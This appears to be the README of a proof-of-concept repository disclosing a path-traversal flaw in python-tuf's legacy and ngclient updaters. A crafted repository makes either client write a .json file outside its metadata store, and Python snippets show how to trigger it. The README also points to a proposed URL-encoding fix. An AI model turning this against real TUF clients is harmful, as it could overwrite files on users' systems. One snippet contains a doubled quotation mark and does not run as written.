TUF client metadata path-traversal proof of concept

This repository will fool both python-tuf client implementations to write (overwrite) a file outside of the client metadata store when get_one_valid_targetinfo() is called. For this specific example, the file will be written one level above the metadata directory but likely any arbitrary filepath (with .json extension) is possible.

Examples assuming the repository root is hosted at http://localhost:8000/:

Legacy Updater

# Directories ./metadata/current/ and ./metadata/previous/ must exist.
# Initial root must be in ./metadata/current/root.json.

import tuf.settings
from tuf.client.updater import Updater

tuf.settings.repositories_directory = "./"
repo_mirrors = {
    "mirror1": {
        "url_prefix": "http://localhost:8000",  "metadata_path": "", "targets_path": ""
    }
}
updater = Updater("", repo_mirrors)
updater.refresh()
updater.get_one_valid_targetinfo("any target name here")

# Local metadata dir is ./metadata/current/ but ./metadata/ now contains
# path-traversal-test.json

ngclient Updater

# Initial root must be in ./root.json.

from tuf.ngclient import Updater
updater = Updater("./", ""http://localhost:8000/", "http://localhost:8000/")
updater.refresh()
updater.get_one_valid_targetinfo("any target name here")

# Local metadata dir is ./ but ../ now contains path-traversal-test.json

More info

Thoughts on the issues TUF/python-tuf has with rolenames being used in filenames/URLS: ISSUE-DESCRIPTION.md

Potential solution: URL-ENCODING.md -- note that fixing the path traversal is easy (encode rolename before using as filename), but the document outlines some related future improvements as well